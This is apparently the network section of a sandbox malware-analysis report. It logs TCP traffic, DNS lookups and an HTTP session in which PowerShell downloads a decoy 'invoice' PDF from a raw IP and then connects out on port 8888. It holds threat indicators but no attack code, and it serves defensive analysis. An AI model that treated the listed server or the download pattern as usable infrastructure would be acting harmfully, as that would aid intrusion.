Jan 10, 2025 20:05:23.671006918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671055079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671068907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671081066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671082973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.671094894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671108007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671123028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671135902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671139956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.671139956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.671169043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.671180964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671195030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671226025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.671264887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671278954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671292067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671303988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671308994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.671330929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.671336889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671350956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.671391964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705383062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705409050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705429077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705441952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705454111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705466986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705480099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705492973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705503941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705508947 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705529928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705543995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705554962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705569029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705581903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705591917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705595016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705591917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705591917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705606937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705622911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705622911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705642939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705656052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705684900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705725908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705738068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705749989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705761909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705774069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705774069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705786943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705796957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705802917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705817938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705826044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705832005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705857038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705873966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.705881119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705894947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705904961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.705940962 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706049919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706062078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706073999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706084967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706095934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706099033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706113100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706125021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706126928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706142902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706141949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706173897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706269979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706284046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706295013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706307888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706315041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706320047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706334114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706341028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706346989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706361055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706399918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706418037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706433058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706444979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706458092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706469059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706474066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706481934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706495047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706501961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706509113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706521988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706523895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706536055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706551075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706562996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706579924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706609964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706717968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706873894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706886053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706897974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706909895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706919909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706923008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706937075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706948996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706949949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706962109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.706969023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.706990957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.707000017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707019091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707031965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707042933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.707043886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707058907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707070112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.707072973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707087040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707096100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.707101107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707114935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707124949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.707129002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.707154036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.711481094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.711499929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.711512089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.711524010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.711538076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.711551905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.711551905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.711565971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.711606026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.711606026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.711641073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.724360943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.739224911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739276886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739295959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739310026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739331961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739335060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.739346027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739367962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739371061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.739382029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739394903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739403009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.739408970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739422083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739432096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.739437103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739450932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739464045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.739473104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.739492893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.739507914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.758650064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758680105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758696079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758709908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758723974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758728981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.758738041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758753061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758760929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.758768082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758788109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.758810043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758836031 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.758899927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758912086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758933067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758941889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.758948088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758960962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758975029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.758975983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.758990049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.759004116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.759031057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.792841911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.792881966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.792942047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.792941093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.792962074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.792974949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.792987108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793000937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793013096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793016911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.793025970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793040037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793040991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.793051958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793062925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793075085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793093920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.793102026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793114901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793114901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.793128014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793155909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.793175936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.793193102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793204069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793214083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793225050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:23.793248892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.793278933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.987267971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:23.992480040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:24.350588083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:24.749452114 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:24.754355907 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:24.754434109 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:24.755409002 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:24.760162115 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:25.530930996 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 20:05:25.576988935 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 20:05:25.907309055 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:05:37.924196005 CET	49806	53	192.168.2.4	1.1.1.1
Jan 10, 2025 20:05:54.104166985 CET	62009	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 20:05:37.924196005 CET	192.168.2.4	1.1.1.1	0x1f8f	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 20:05:54.104166985 CET	192.168.2.4	1.1.1.1	0x87f5	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 20:05:37.931483030 CET	1.1.1.1	192.168.2.4	0x1f8f	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 20:05:54.111258984 CET	1.1.1.1	192.168.2.4	0x87f5	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7664	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 20:05:22.261909008 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 20:05:23.040764093 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:05:22 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 20:05:23.040795088 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 20:05:23.040806055 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 20:05:23.040812016 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 20:05:23.040817976 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 20:05:23.040822983 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 20:05:23.040836096 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 20:05:23.040842056 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
